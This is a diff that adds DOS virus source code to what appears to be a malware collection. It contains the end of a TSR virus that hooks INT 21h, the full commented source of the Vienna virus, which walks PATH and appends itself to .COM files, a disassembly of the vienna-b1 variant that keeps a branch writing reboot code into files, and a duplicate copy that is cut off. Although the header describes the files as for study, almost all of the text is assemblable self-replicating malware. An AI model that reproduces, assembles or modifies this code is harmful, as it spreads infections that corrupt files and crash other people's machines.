jmp_dos +L0710: + CMP BYTE PTR CS:[00A8H],1 ;Ha Child processben vagyunk + JNE L071B ;mindent beken kell hagyni... + JMP jmp_dos +L071B: CMP AH,40H ;FN = WRITE, handle=1 (print) + JNE L0728 ; nem bantja + CMP BX,+01H + JNE L0728 + JMP jmp_dos ;to dos +L0728: + MOV CS:[00A9H],AX + MOV CS:[00A4H],SS + MOV CS:[00A6H],SP + MOV AX,CS + MOV SS,AX + MOV SP,08F3H + PUSH ES + PUSH DS + PUSH AX + PUSH BX + PUSH CX + PUSH DX + PUSH SI + PUSH DI + PUSH BP + MOV AX,CS + MOV DS,AX + MOV ES,AX + PUSH DS + MOV DX,DS:[0082H] + MOV AX,DS:[0084H] + MOV DS,AX + MOV AX,2521H ;Visszaallitja az eredeti + INT 21H ; DOS hivas lehetoseget + POP DS ; a rutinon belul + NOP + NOP + NOP + NOP + MOV AH,2CH ;Randomize + INT 21H + MOV DS:[0072H],DX + MOV AH,2CH + INT 21H + MOV CL,DL + AND CL,0FH + ROL DS:[0072H],CL + MOV AH,2CH + INT 21H + XOR DS:[0072H],DX + MOV AH,2CH + INT 21H + CMP CL,DS:[00A3H] + JZ L0792 + MOV DS:[00A3H],CL ;min + MOV DS:[00A2H],DH ;sec + JMP do_it + NOP +L0792: MOV BL,DS:[00A2H] ;felorankent kozbelep + ADD BL,30 + CMP DH,BL + JC _vDOS + MOV DS:[00A2H],DH +do_it: CALL _working +vDOS: MOV DX,06B3H ;visszaallitja onmagat DOS-nak + MOV AX,2521H + INT 21H + POP BP + POP DI + POP SI + POP DX + POP CX + POP BX + POP AX + POP DS + POP ES + MOV AX,WORD PTR CS:[00A4H] + MOV SS,AX + MOV SP,CS:[00A6H] + MOV AX,WORD PTR CS:[00A9H] +jmp_dos + JMP DWORD PTR CS:[0082H] ;Exec DOS fn + + db 'The incredible anyad' + +XPROC ENDP +XSEG ENDS + END + \ No newline at end of file diff --git a/v/VIENNA.ASM b/v/VIENNA.ASM new file mode 100755 index 0000000..5c422bd --- /dev/null +++ b/v/VIENNA.ASM @@ -0,0 +1,680 @@ +;***************************************************************************** +; +; *** NOT FOR GENERAL DISTRIBUTION *** The Vienna Virus +; +; This file is for the purpose of virus study only! It should not be passed +; around among the general public. It will be very useful for learning +; how viruses work and propagate. But anybody with access to an assembler +; can turn it into a working virus and anybody with a bit of assembly coding +; experience can turn it into a far more malevolent program than it already +; is. Keep this code in responsible hands! +; +; This program does not check wether or not the .COM file to be infected is +; really a .COM file or simply a misnamed .EXE file. DOS does not rely on the +; file extension, but does a double-check by looking for a signature that +; indicates wether or not a file REALLY is an .EXE file. The virus writer +; apparently did not know this. This virus will take any .EXE file that's +; been renamed to a .COM file and try to infect it, obscuring the signature +; that marks it as an .EXE file. When the infected file is then run, the +; virus code will run first, and then the machine will try to run the .EXE +; header data as though it were code. This is likely to crash the machine, and +; since some later versions of DOS itself contain such misnamed .EXE files, +; it's likely to happen. +; +;****************************************************************************** + +;****************************************************************************** +;It seems that MASM won't always willingly translate ordinary assembly code +; into the byte-for-byte replacement of the code in the Vienna Virus. Since +; MASM is just a 2 pass assembler, it doesn't always have enough information to +; figure out the size of an instruction when it needs to. To be safe, it makes +; its guess on the high side and then adds in unrequested NOPS if it needs to +; pad out the space it allocated. Many of the NOPs in this virus are the result +; of this. But the virus writer seems to have done a bit of hand modification +; to the virus, and as a result, one instance where we'd expect a NOP, there +; isn't one. This macro allows us to mimic that instance, where an ordinary +; MOV CX,xx would otherwise have worked fine. +;****************************************************************************** + +MOV_CX MACRO X + DB 0B9H + DW X +ENDM + + +CODE SEGMENT + ASSUME DS:CODE,SS:CODE,CS:CODE,ES:CODE + ORG $+0100H + +;***************************************************************************** +;Start out with a JMP around the remains of the original .COM file, into the +;virus. The actual .COM file was just an INT 20, followed by a bunch of NOPS. +;The rest of the file (first 3 bytes) are stored in the virus data area. +;***************************************************************************** + +VCODE: JMP virus + + +;This was the rest of the original .COM file. Tiny and simple, this time + + NOP + NOP + NOP + NOP + NOP + NOP + NOP + NOP + NOP + NOP + NOP + NOP + NOP + NOP + NOP + + +;************************************************************ +; The actual virus starts here +;************************************************************ + +v_start equ $ + + +virus: PUSH CX + MOV DX,OFFSET vir_dat ;This is where the virus data starts. + ; The 2nd and 3rd bytes get modified. + CLD ;Pointers will be auto INcremented + MOV SI,DX ;Access data as offset from SI + ADD SI,first_3 ;Point to original 1st 3 bytes of .COM + MOV DI,OFFSET 100H ;`cause all .COM files start at 100H + MOV CX,3 + REPZ MOVSB ;Restore original first 3 bytes of .COM + MOV SI,DX ;Keep SI pointing to the data area + +;************************************************************* +; Check the DOS version +;************************************************************* + + MOV AH,30H + INT 21H + + CMP AL,0 ;0 means it's version 1.X + + JNZ dos_ok ;For version 2.0 or greater + JMP quit ;Don't try to infect version 1.X + + +;************************************************************* +; Here if the DOS version is high enough for this to work +;************************************************************* + +dos_ok: PUSH ES + + +;************************************************************* +; Get DTA address into ES:BX +;************************************************************* + + MOV AH,2FH + INT 21H + +;************************************************************* +; Save the DTA address +;************************************************************* + + + MOV [SI+old_dta],BX + MOV [SI+old_dts],ES ;Save the DTA address + + POP ES + +;************************************************************* +; Set DTA to point inside the virus data area +;************************************************************* + + MOV DX,dta ;Offset of new DTA in virus data area +; NOP ;MASM will add this NOP here + ADD DX,SI ;Compute DTA address + MOV AH,1AH + INT 21H ;Set new DTA to inside our own code + + + PUSH ES + PUSH SI + MOV ES,DS:2CH + MOV DI,0 ;ES:DI points to environment + +;************************************************************ +; Find the "PATH=" string in the environment +;************************************************************ + +find_path: + POP SI + PUSH SI ;Get SI back + ADD SI,env_str ;Point to "PATH=" string in data area + LODSB + MOV CX,OFFSET 8000H ;Environment can be 32768 bytes long + REPNZ SCASB ;Search for first character + MOV CX,4 + +;************************************************************ +; Loop to check for the next four characters +;************************************************************ + +check_next_4: + LODSB + SCASB + JNZ find_path ;If not all there, abort & start over + LOOP check_next_4 ;Loop to check the next character + + POP SI + POP ES + MOV [SI+path_ad],DI ;Save the address of the PATH + MOV DI,SI + ADD DI,wrk_spc ;File name workspace + MOV BX,SI ;Save a copy of SI + ADD SI,wrk_spc ;Point SI to workspace + MOV DI,SI ;Point DI to workspace + JMP SHORT slash_ok + + +;********************************************************** +; Look in the PATH for more subdirectories, if any +;********************************************************** + +set_subdir: + CMP WORD PTR [SI+path_ad],0 ;Is PATH string ended? + JNZ found_subdir ;If not, there are more subdirectories + JMP all_done ;Else, we're all done + + +;********************************************************** +; Here if there are more subdirectories in the path +;********************************************************** + +found_subdir: + PUSH DS + PUSH SI + MOV DS,ES:2CH ;DS points to environment segment + MOV DI,SI + MOV SI,ES:[DI+path_ad] ;SI = PATH address + ADD DI,wrk_spc ;DI points to file name workspace + + +;*********************************************************** +; Move subdirectory name into file name workspace +;*********************************************************** + +move_subdir: + LODSB ;Get character + CMP AL,';' ;Is it a ';' delimiter? + JZ moved_one ;Yes, found another subdirectory + CMP AL,0 ;End of PATH string? + JZ moved_last_one ;Yes + STOSB ;Save PATH marker into [DI] + JMP SHORT move_subdir + +;****************************************************************** +; Mark the fact that we're looking through the final subdirectory +;****************************************************************** + +moved_last_one: + MOV SI,0 + + +;****************************************************************** +; Here after we've moved a subdirectory +;****************************************************************** + +moved_one: + POP BX ;Pointer to virus data area + POP DS ;Restore DS + MOV [BX+path_ad],SI ;Address of next subdirectory + NOP + +;****************************************************************** +; Make sure subdirectory ends in a "\" +;****************************************************************** + + CMP CH,'\' ;Ends with "\"? + JZ slash_ok ;If yes + MOV AL,'\' ;Add one, if not + STOSB + + +;****************************************************************** +; Here after we know there's a backslash at end of subdir +;****************************************************************** + +slash_ok: + MOV [BX+nam_ptr],DI ;Set filename pointer to name workspace + MOV SI,BX ;Restore SI + ADD SI,f_spec ;Point to "*.COM" + MOV CX,6 + REPZ MOVSB ;Move "*.COM",0 to workspace + + MOV SI,BX + + +;******************************************************************* +; Find first string matching *.COM +;******************************************************************* + + MOV AH,4EH + MOV DX,wrk_spc +; NOP ;MASM will add this NOP here + ADD DX,SI ;DX points to "*.COM" in workspace + MOV CX,3 ;Attributes of Read Only or Hidden OK + INT 21H + + JMP SHORT find_first + + +;******************************************************************* +; Find next ASCIIZ string matching *.COM +;******************************************************************* + +find_next: + MOV AH,4FH + INT 21H + +find_first: + JNB found_file ;Jump if we found it + JMP SHORT set_subdir ;Otherwise, get another subdirectory + +;******************************************************************* +; Here when we find a file +;******************************************************************* + +found_file: + MOV AX,[SI+dta_tim] ;Get time from DTA + AND AL,1FH ;Mask to remove all but seconds + CMP AL,1FH ;62 seconds -> already infected + JZ find_next ;If so, go find another file + + CMP WORD PTR [SI+dta_len],OFFSET 0FA00H ;Is the file too long? + JA find_next ;If too long, find another one + + CMP WORD PTR [SI+dta_len],0AH ;Is it too short? + JB find_next ;Then go find another one + + MOV DI,[SI+nam_ptr] ;DI points to file name + PUSH SI ;Save SI + ADD SI,dta_nam ;Point SI to file name + +;******************************************************************** +; Move the name to the end of the path +;******************************************************************** + +more_chars: + LODSB + STOSB + CMP AL,0 + JNZ more_chars ;Move characters until we find a 00 + + +;******************************************************************** +; Get File Attributes +;******************************************************************** + + POP SI + MOV AX,OFFSET 4300H + MOV DX,wrk_spc ;Point to \path\name in workspace +; NOP ;MASM will add this NOP here + ADD DX,SI + INT 21H + + + MOV [SI+old_att],CX ;Save the old attributes + + +;******************************************************************** +; Rewrite the attributes to allow writing to the file +;******************************************************************** + + MOV AX,OFFSET 4301H ;Set attributes + AND CX,OFFSET 0FFFEH ;Set all except "read only" (weird) + MOV DX,wrk_spc ;Offset of \path\name in workspace +; NOP ;MASM will add this NOP here + ADD DX,SI ;Point to \path\name + INT 21H + +;******************************************************************** +; Open Read/Write channel to the file +;******************************************************************** + + MOV AX,OFFSET 3D02H ;Read/Write + MOV DX,wrk_spc ;Offset to \path\name in workspace +; NOP ;MASM will add this NOP here + ADD DX,SI ;Point to \path\name + INT 21H + + JNB opened_ok ;If file was opened OK + JMP fix_attr ;If it failed, restore the attributes + + +;******************************************************************* +; Get the file date & time +;******************************************************************* + +opened_ok: + MOV BX,AX + MOV AX,OFFSET 5700H + INT 21H + + MOV [SI+old_tim],CX ;Save file time + MOV [SI+ol_date],DX ;Save the date + +;******************************************************************* +; Get current system time +;******************************************************************* + + MOV AH,2CH + INT 21H + + + AND DH,7 ;Last 3 bits 0? (once in eight) + +;******************************************************************* +; The following line is a change from the original virus. Originally +; the following line would be JNZ seven_in_eight. This would ruin +; about 1/8 of all .COM files infected, while the other 7/8 would +; be left workable, but infected. For the purpose of studying a +; live virus, the changed line is not so damaging. +;******************************************************************* + JMP SHORT seven_in_eight + + +;******************************************************************* +; The special "one in eight" infection. If the above line were in +; its original form, this code would be run 1/8 of the time, and +; rather than appending a copy of this virus to the .COM file, the +; file would get 5 bytes of code that reboot the system when the +; .COM file is run. +;******************************************************************* + + + MOV AH,40H ;Write to file + MOV CX,5 ;Five bytes + MOV DX,SI + ADD DX,reboot ;Offset of reboot code in data area + INT 21H + + JMP SHORT fix_time_stamp + + NOP + + +;****************************************************************** +; Here's where we infect a .COM file with this virus +;****************************************************************** + +seven_in_eight: + MOV AH,3FH + MOV CX,3 + MOV DX,first_3 +; NOP ;MASM will add this NOP here + ADD DX,SI + INT 21H ;Save first 3 bytes into the data area + + JB fix_time_stamp ;Quit, if read failed + + CMP AX,3 ;Were we able to read all 3 bytes? + JNZ fix_time_stamp ;Quit, if not + + +;****************************************************************** +; Move file pointer to end of file +;****************************************************************** + + MOV AX,OFFSET 4202H + MOV CX,0 + MOV DX,0 + INT 21H + + JB fix_time_stamp ;Quit, if it didn't work + + MOV CX,AX ;DX:AX (long int) = file size + SUB AX,3 ;Subtract 3 (OK, since DX must be 0, here) + MOV [SI+jmp_dsp],AX ;Save the displacement in a JMP instruction + + ADD CX,OFFSET c_len_y + MOV DI,SI ;Point DI to virus data area + SUB DI,OFFSET c_len_x + ;Point DI to reference vir_dat, at start of pgm + MOV [DI],CX ;Modify vir_dat reference:2nd, 3rd bytes of pgm + + +;******************************************************************* +; Write virus code to file +;******************************************************************* + + MOV AH,40H + + MOV_CX virlen ;Length of virus, in bytes + + MOV DX,SI + SUB DX,OFFSET codelen ;Length of virus code, gives starting + ; address of virus code in memory + INT 21H + + JB fix_time_stamp ;Jump if error + + CMP AX,OFFSET virlen ;All bytes written? + JNZ fix_time_stamp ;Jump if error + + +;********************************************************************** +; Move file pointer to beginning of the file +;********************************************************************** + + MOV AX,OFFSET 4200H + MOV CX,0 + MOV DX,0 + INT 21H + + JB fix_time_stamp ;Jump if error + + +;********************************************************************** +; Write the 3 byte JMP at the start of the file +;********************************************************************** + + MOV AH,40H + MOV CX,3 + MOV DX,SI ;Virus data area + ADD DX,jmp_op ;Point to the reconstructed JMP + INT 21H + + +;********************************************************************** +; Restore old file date & time, with seconds modified to 62 +;********************************************************************** + +fix_time_stamp: + MOV DX,[SI+ol_date] ;Old file date + MOV CX,[SI+old_tim] ;Old file time + AND CX,OFFSET 0FFE0H + OR CX,1FH ;Seconds = 31/30 min = 62 seconds + MOV AX,OFFSET 5701H + INT 21H + + +;********************************************************************** +; Close File +;********************************************************************** + + MOV AH,3EH + INT 21H + + +;********************************************************************** +; Restore Old File Attributes +;********************************************************************** + +fix_attr: + MOV AX,OFFSET 4301H + MOV CX,[SI+old_att] ;Old Attributes + MOV DX,wrk_spc +; NOP ;MASM will add this NOP + ADD DX,SI ;DX points to \path\name in workspace + INT 21H + + +;********************************************************************** +; Here when it's time to close it up & end +;********************************************************************** + +all_done: + PUSH DS + + +;********************************************************************** +; Restore old DTA +;********************************************************************** + + MOV AH,1AH + MOV DX,[SI+old_dta] + MOV DS,[SI+old_dts] + INT 21H + + POP DS + + +;************************************************************************* +; Clear registers used, & do a weird kind of JMP 100. The weirdness comes +; in since the address in a real JMP 100 is an offset, and the offset +; varies from one infected file to the next. By PUSHing an 0100H onto the +; stack, we can RET to address 0100H just as though we JMPed there. +;********************************************************************** + +quit: + POP CX + XOR AX,AX + XOR BX,BX + XOR DX,DX + XOR SI,SI + MOV DI,OFFSET 0100H + PUSH DI + XOR DI,DI + + RET 0FFFFH + +;************************************************************************ +;The virus data starts here. It's accessed off the SI register, per the +; comments as shown +;************************************************************************ + +vir_dat EQU $ + + + ;Use this with (SI + old_dta) +olddta_ DW 0 ;Old DTA offset + + ;Use this with (SI + old_dts) +olddts_ DW 0 ;Old DTA segment + + ;Use this with (SI + old_tim) +oldtim_ DW 0 ;Old Time + + ;Use this with (SI + ol_date) +oldate_ DW 0 ;Old date + + ;Use this with (SI + old_att) +oldatt_ DW 0 ;Old file attributes + + + +;Here's where the first three bytes of the original .COM file go.(SI + first_3) + +first3_ EQU $ + INT 20H + NOP + + + +;Here's where the new JMP instruction is worked out + + ;Use this with (SI + jmp_op) +jmpop_ DB 0E9H ;Start of JMP instruction + + ;Use this with (SI + jmp_dsp) +jmpdsp_ DW 0 ;The displacement part + + + +;This is the type of file we're looking to infect. (SI + f_spec) + +fspec_ DB '*.COM',0 + + ;Use this with (SI + path_ad) +pathad_ DW 0 ;Path address + + ;Use this with (SI + nam_ptr) +namptr_ DW 0 ;Pointer to start of file name + + ;Use this with (SI + env_str) +envstr_ DB 'PATH=' ;Find this in the environment + + ;File name workspace (SI + wrk_spc) +wrkspc_ DB 40h dup (0) + + ;Use this with (SI + dta) +dta_ DB 16h dup (0) ;Temporary DTA goes here + + ;Use this with (SI + dta_tim) +dtatim_ DW 0,0 ;Time stamp in DTA + + ;Use this with (SI + dta_len) +dtalen_ DW 0,0 ;File length in the DTA + + ;Use this with (SI + dta_nam) +dtanam_ DB 0Dh dup (0) ;File name in the DTA + + ;Use this with (SI + reboot) +reboot_ DB 0EAH,0F0H,0FFH,0FFH,0FFH ;Five byte FAR JMP to FFFF:FFF0 + + +lst_byt EQU $ ;All lines that assemble into code are + ; above this one + + +;***************************************************************************** +;The virus needs to know a few details about its own size and the size of its +; code portion. Let the assembler figure out these sizes automatically. +;***************************************************************************** + +virlen = lst_byt - v_start ;Length, in bytes, of the entire virus +codelen = vir_dat - v_start ;Length of virus code, only +c_len_x = vir_dat - v_start - 2 ;Displacement for self-modifying code +c_len_y = vir_dat - v_start + 100H ;Code length + 100h, for PSP + + +;***************************************************************************** +;Because this code is being appended to the end of an executable file, the +; exact address of its variables cannot be known. All are accessed as offsets +; from SI, which is represented as vir_dat in the below declarations. +;***************************************************************************** + +old_dta = olddta_ - vir_dat ;Displacement to the old DTA offset +old_dts = olddts_ - vir_dat ;Displacement to the old DTA segment +old_tim = oldtim_ - vir_dat ;Displacement to old file time stamp +ol_date = oldate_ - vir_dat ;Displacement to old file date stamp +old_att = oldatt_ - vir_dat ;Displacement to old attributes +first_3 = first3_ - vir_dat ;Displacement-1st 3 bytes of old .COM +jmp_op = jmpop_ - vir_dat ;Displacement to the JMP opcode +jmp_dsp = jmpdsp_ - vir_dat ;Displacement to the 2nd 2 bytes of JMP +f_spec = fspec_ - vir_dat ;Displacement to the "*.COM" string +path_ad = pathad_ - vir_dat ;Displacement to the path address +nam_ptr = namptr_ - vir_dat ;Displacement to the filename pointer +env_str = envstr_ - vir_dat ;Displacement to the "PATH=" string +wrk_spc = wrkspc_ - vir_dat ;Displacement to the filename workspace +dta = dta_ - vir_dat ;Displacement to the temporary DTA +dta_tim = dtatim_ - vir_dat ;Displacement to the time in the DTA +dta_len = dtalen_ - vir_dat ;Displacement to the length in the DTA +dta_nam = dtanam_ - vir_dat ;Displacement to the name in the DTA +reboot = reboot_ - vir_dat ;Displacement to the 5 byte reboot code + + CODE ENDS +END VCODE diff --git a/v/VIENNAAS.ASM b/v/VIENNAAS.ASM new file mode 100755 index 0000000..159c0c8 --- /dev/null +++ b/v/VIENNAAS.ASM @@ -0,0 +1,332 @@ + ; disassembly of vienna-b1 virus + + + jmp label1 +message: + db "ello, world!$" ;************* + mov ah,09h ;print string ; part of * + mov dx,message ;point to string ; original * + int 21h ;call msdos ; com file. * + int 20h ;terminate program ;************* +label1: + push cx ; + mov dx,0312h ;start of variables + cld ;clear direction + mov si,dx ;si = start of variables + add si,000Ah + mov di,0100h ;destination = 0100h + mov cx,0003 ;three bytes to move + repz movsb + mov si,dx ;si = 0312h (start of variables) + mov ah,30h ;get dos version number + int 21h ;call msdos + cmp al,00h ;old version? + jnz label2 ;no + jmp label3 ;yes +label2: + push es ;store extra segment + mov ah,2fh ;get DTA address + int 21h ;call msdos + mov [si+0000h],bx ;save DTA offset + mov [si+0002],es ;save DTA segment + pop es ;restore extra segment address + mov dx,005fh ; + nop + add dx,si ;pointer to new DTA address + mov ah,1ah ;set DTA address + int 21h ;call msdos + push es ;save extra segment address again + push si ;save source index register + mov es,[002ch] + mov di,0000h +label4: + pop si + push si + add si,001ah + lodsb ;get byte from source address + mov cx,8000h ; + repnz scasb + mov cx,0004h ; +label7: + lodsb ;get byte from source + scasb ;store byte + jnz label4 ;jump back till done + loop label7 + pop si ;restore source index register + pop es ;and extra segment + mov [si+0016h],di + mov di,si + add di,001fh + mov bx,si + add si,001fh + mov di,si + jmp label5 +label13: + cmp word ptr [si+0016h],00h + jnz label5 + jmp label6 + push ds + push si + es mov ds,[002ch] + mov di,si + es mov si,[di+0016h] + add di,001fh +label10: + lodsb ;get byte + cmp al,3bh + jz label8 + cmp al,00h + jz label9 + stosb ;store byte + jmp label10 +label9: + mov si,0000h +label8: + pop bx + pop ds + mov [bx+0016h],si + cmp byte ptr [di-01h],5ch + jz label5 + mov al,5ch + stosb ;store byte +label5: + mov [bx+0018h],di + mov si,bx + add si,0010h + mov cx,0006h + repz movsb + mov si,bx + mov ah,4eh ;search for first match + mov dx,001fh ;pointer to asciiz file spec.-si + nop + add dx,si ;pointer to asciiz file spec. + mov cx,0003h ;attribute to us in search match + int 21h ;call msdos + jmp label11 +label14: + mov ah,4fh ;search for next match + int 21h ;call msdos +label11: + jnb label12 + jmp label13 +label12: + mov ax,[si+0075h] + and al,1fh + cmp al,1fh + jz label14 + cmp word ptr [si+0079h],0fa00h + ja label14 + cmp word ptr [si+0079h],0ah + jb label14 + mov di,[si+0018h] + push si + add si,007dh +label15: + lodsb + stosb + cmp al,00h + jnz label15 + pop si + mov ax,4300h ;get file attributes + mov dx,001fh ;pointer to asciiz file spec. -si + nop + add dx,si ;pointer to file spec. + int 21h ;call msdos + mov [si+0008h],cx + mov ax,4301 ;set file attributes + and cx,0fffeh ;new attributes + mov dx,001fh ;pointer to asciiz file spec. -si + nop + add dx,si ;pointer to asciiz file spec. + int 21h ;call msdos + mov ax,3d02h ;open file (handle) + mov dx,001fh ;pointer to asciiz file spec. -si + nop + add dx,si ;pointer to asciiz file spec. + int 21h ;call msdos + jnb label16 + jmp label17 +label16: + mov bx,ax + mov ax,5700h ;get time and date + int 21h ;call msdos + mov [si+0004],cx ;store time + mov [si+0006],dx ;store date + mov ah,2ch ;get system time + int 21h ;call msdos + and dh,07h + jnz label18 + mov ah,40h ;write to file or device (handle) + mov cx,0005h ;number of bytes to write + mov dx,si ;get file spec. address -8ah + add dx,008ah ;add 8ah to get file spec. address + int 21h ;call msdos + jmp label19 + nop +label18: + mov ah,3fh ;read file or device (handle) + mov cx,0003h ;number of bytes to read + mov dx,000ah ;point to buffer -si + nop + add dx,si ;pointer to buffer area + int 21h ;call msdos + jb label19 + cmp ax,0003h ;number of bytes read + jnz label19 + mov ax,4202h ;move file pointer + ;offset from end of file + mov cx,0000h ;offset desired + mov dx,0000h ;as above + int 21h ;call msdos + jb label19 + mov cx,ax + sub ax,0003h + mov [si+000eh],ax + add cx,02f9h + mov di,si + sub di,01f7h + mov [di],cx + mov ah,40h ;write to file or device (handle) + mov cx,0288h ;number of bytes to write + mov dx,si ; + sub dx,01f9h ;dx = pointer to buffer of data write + int 21h ;call msdos + jb label19 + cmp ax,0288h ;288h bytes written? + jnz label19 + mov ax,4200h ;move file pointer + ;offset from beginning of file + mov cx,0000h ;desired offset + mov dx,0000h ;desired offset + int 21h ;call msdos + jb label19 + mov ah,40h ;write to file or device (handle) + mov cx,0003h ;number of bytes to write + mov dx,si ; + add dx,000dh ;pointer to buffer of data write + int 21h ;call msdos +label19: + mov dx,[si+0006h] + mov cx,[si+0004h] + and cx,0ffe0h + or cx,001fh + mov ax,5701h ;set date and time + int 21h ;call msdos + mov ah,3eh ;close file + int 21h ;call msdos +label17: + mov ax,4301h ;set file attributes + mov di,[si+0008h] + mov dx,001fh ;pointer to asciiz file spec. -si + nop + add dx,si ;pointer to ascii file spec. + int 21h ;call msdos +label6: + push ds ;save data segment + mov ah,1ah ;set DTA address + mov dx,[si+0000] ;retrieve original DTA + mov ds,[si+0002] ;and data segment of dta + int 21h ;call msdos + pop ds ;restore DTA +label3: + pop cx + xor ax,ax ;clear accumulator + xor bx,bx ;and bx + xor dx,dx ;and dx + xor si,si ;and si + mov di,0100h ;pointer to execution program to be + ;run now virus has finished + push di + xor di,di ;clear di + ret 0ffffh ;? + + + +start_of_variables: +0312 80003E ADD BYTE PTR [BX+SI],3E +0315 40 inc ax +0316 D592 AAD 92 +0318 8511 TEST dx,[BX+DI] +031A 2000 AND [BX+SI],AL + +031C EB0E JMP 032ch ;jump address to place at + ;beginning of source program +031E 48 DEC ax +031F E91600 JMP 0338 + db "*.COM" +0327 0027 ADD [BX],ah +0329 0022 ADD [BP+SI],ah +032B 03 + db "PATH=DANGER!.COM EM.COM" +032C 5041 ADD dx,[BX+SI+41] +032E 54 push SP +032F 48 DEC ax +0330 3D4441 cmp ax,4144 +0333 4E DEC SI +0334 47 inc DI +0335 45 inc BP +0336 52 push dx +0337 212E434F AND [4F43],BP +033B 4D DEC BP +033C 00454D ADD [DI+4D],AL +033F 2E CS: +0340 43 inc BX +0341 4F DEC DI +0342 4D DEC BP +0343 0000 ADD [BX+SI],AL +0345 43 inc BX +0346 4F DEC DI +0347 4D DEC BP +0348 0020 ADD [BX+SI],ah +034A 2020 AND [BX+SI],ah +034C 2020 AND [BX+SI],ah +034E 2020 AND [BX+SI],ah +0350 2020 AND [BX+SI],ah +0352 2020 AND [BX+SI],ah +0354 2020 AND [BX+SI],ah +0356 2020 AND [BX+SI],ah +0358 2020 AND [BX+SI],ah +035A 2020 AND [BX+SI],ah +035C 2020 AND [BX+SI],ah +035E 2020 AND [BX+SI],ah +0360 2020 AND [BX+SI],ah +0362 2020 AND [BX+SI],ah +1463:0364 2020 AND [BX+SI],ah +1463:0366 2020 AND [BX+SI],ah +1463:0368 2020 AND [BX+SI],ah +1463:036A 2020 AND [BX+SI],ah +1463:036C 2020 AND [BX+SI],ah +1463:036E 2020 AND [BX+SI],ah +1463:0370 2003 AND [BP+DI],AL +1463:0372 3F AAS +1463:0373 3F AAS +1463:0374 3F AAS +1463:0375 3F AAS +1463:0376 3F AAS +1463:0377 3F AAS +1463:0378 3F AAS +1463:0379 3F AAS +1463:037A 43 inc BX +1463:037B 4F DEC DI +1463:037C 4D DEC BP +1463:037D 0305 ADD ax,[DI] +1463:037F 001F ADD [BX],BL +1463:0381 0020 ADD [BX+SI],ah +1463:0383 64 DB 64 +1463:0384 7269 JB 03EF +1463:0386 20D5 AND CH,DL +1463:0388 92 XCHG dx,ax +1463:0389 8511 TEST dx,[BX+DI] +1463:038B 1900 SBB [BX+SI],ax +1463:038D 0000 ADD [BX+SI],AL +1463:038F 44 inc SP +1463:0390 41 inc cx +1463:0391 4E DEC SI +1463:0392 47 inc DI +1463:0393 45 inc BP +1463:0394 52 push dx +1463:0395 212E434F AND [4F43],BP +1463:0399 4D DEC BP +1463:039A 0000 ADD [BX+SI],AL +1463:039C EA0B021358 JMP 5813:020B + \ No newline at end of file diff --git a/v/VIENNAB.ASM b/v/VIENNAB.ASM new file mode 100755 index 0000000..5c422bd --- /dev/null +++ b/v/VIENNAB.ASM @@ -0,0 +1,680 @@ +;***************************************************************************** +; +; *** NOT FOR GENERAL DISTRIBUTION *** The Vienna Virus +; +; This file is for the purpose of virus study only! It should not be passed +; around among the general public. It will be very useful for learning +; how viruses work and propagate. But anybody with access to an assembler +; can turn it into a working virus and anybody with a bit of assembly coding +; experience can turn it into a far more malevolent program than it already +; is. Keep this code in responsible hands! +; +; This program does not check wether or not the .COM file to be infected is +; really a .COM file or simply a misnamed .EXE file. DOS does not rely on the +; file extension, but does a double-check by looking for a signature that +; indicates wether or not a file REALLY is an .EXE file. The virus writer +; apparently did not know this. This virus will take any .EXE file that's +; been renamed to a .COM file and try to infect it, obscuring the signature +; that marks it as an .EXE file. When the infected file is then run, the +; virus code will run first, and then the machine will try to run the .EXE +; header data as though it were code. This is likely to crash the machine, and +; since some later versions of DOS itself contain such misnamed .EXE files, +; it's likely to happen. +; +;****************************************************************************** + +;****************************************************************************** +;It seems that MASM won't always willingly translate ordinary assembly code +; into the byte-for-byte replacement of the code in the Vienna Virus. Since +; MASM is just a 2 pass assembler, it doesn't always have enough information to +; figure out the size of an instruction when it needs to. To be safe, it makes +; its guess on the high side and then adds in unrequested NOPS if it needs to +; pad out the space it allocated. Many of the NOPs in this virus are the result +; of this. But the virus writer seems to have done a bit of hand modification +; to the virus, and as a result, one instance where we'd expect a NOP, there +; isn't one. This macro allows us to mimic that instance, where an ordinary +; MOV CX,xx would otherwise have worked fine. +;****************************************************************************** + +MOV_CX MACRO X + DB 0B9H + DW X +ENDM + + +CODE SEGMENT + ASSUME DS:CODE,SS:CODE,CS:CODE,ES:CODE + ORG $+0100H + +;***************************************************************************** +;Start out with a JMP around the remains of the original .COM file, into the +;virus. The actual .COM file was just an INT 20, followed by a bunch of NOPS. +;The rest of the file (first 3 bytes) are stored in the virus data area. +;***************************************************************************** + +VCODE: JMP virus + + +;This was the rest of the original .COM file. Tiny and simple, this time + + NOP + NOP + NOP + NOP + NOP + NOP + NOP + NOP + NOP + NOP + NOP + NOP + NOP + NOP + NOP + + +;************************************************************ +; The actual virus starts here +;************************************************************ + +v_start equ $ + + +virus: PUSH CX + MOV DX,OFFSET vir_dat ;This is where the virus data starts. + ; The 2nd and 3rd bytes get modified. + CLD ;Pointers will be auto INcremented + MOV SI,DX ;Access data as offset from SI + ADD SI,first_3 ;Point to original 1st 3 bytes of .COM + MOV DI,OFFSET 100H ;`cause all .COM files start at 100H + MOV CX,3 + REPZ MOVSB ;Restore original first 3 bytes of .COM + MOV SI,DX ;Keep SI pointing to the data area + +;************************************************************* +; Check the DOS version +;************************************************************* + + MOV AH,30H + INT 21H + + CMP AL,0 ;0 means it's version 1.X + + JNZ dos_ok ;For version 2.0 or greater + JMP quit ;Don't try to infect version 1.X + + +;************************************************************* +; Here if the DOS version is high enough for this to work +;************************************************************* + +dos_ok: PUSH ES + + +;************************************************************* +; Get DTA address into ES:BX +;************************************************************* + + MOV AH,2FH + INT 21H + +;************************************************************* +; Save the DTA address +;************************************************************* + + + MOV [SI+old_dta],BX + MOV [SI+old_dts],ES ;Save the DTA address + + POP ES + +;************************************************************* +; Set DTA to point inside the virus data area +;************************************************************* + + MOV DX,dta ;Offset of new DTA in virus data area +; NOP ;MASM will add this NOP here + ADD DX,SI ;Compute DTA address + MOV AH,1AH + INT 21H ;Set new DTA to inside our own code + + + PUSH ES + PUSH SI + MOV ES,DS:2CH + MOV DI,0 ;ES:DI points to environment + +;************************************************************ +; Find the "PATH=" string in the environment +;************************************************************ + +find_path: + POP SI + PUSH SI ;Get SI back + ADD SI,env_str ;Point to "PATH=" string in data area + LODSB + MOV CX,OFFSET 8000H ;Environment can be 32768 bytes long + REPNZ SCASB ;Search for first character + MOV CX,4 + +;************************************************************ +; Loop to check for the next four characters +;************************************************************ + +check_next_4: + LODSB + SCASB + JNZ find_path ;If not all there, abort & start over + LOOP check_next_4 ;Loop to check the next character + + POP 